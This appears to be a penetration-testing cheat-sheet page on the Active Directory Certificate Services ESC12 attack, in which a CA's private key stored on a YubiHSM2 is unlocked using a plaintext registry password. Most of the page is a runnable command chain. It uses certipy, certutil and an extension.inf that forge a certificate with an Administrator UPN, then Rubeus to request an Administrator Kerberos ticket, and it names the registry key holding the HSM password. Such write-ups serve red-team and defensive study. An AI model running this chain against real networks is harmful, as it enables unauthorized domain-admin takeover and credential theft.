Skip to content

Active Directory - Certificate ESC12

ESC12 - ADCS CA on YubiHSM

The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.

Requirements:

  • CA certificate
  • Shell access on the root CA server

Exploitation:

  • Generate a certicate for the user
certipy req -target dc-esc.esc.local -dc-ip 10.10.10.10 -u "user_esc12@esc.local" -p 'P@ssw0rd' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key
  • Importing the CA certificate into the user store
certutil -addstore -user my .\Root-CA-5.cer
  • Associated with the private key in the YubiHSM2 device
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>
  • Sign user_esc12.crt and specify a Subject Alternative Name using the extension.inf file.
certutil -sign ./user_esc12.crt new.crt @extension.inf
  • Content of extension.inf
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"
  • Use the certificate to get the TGT of the Administrator
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx
Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap

Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword.

References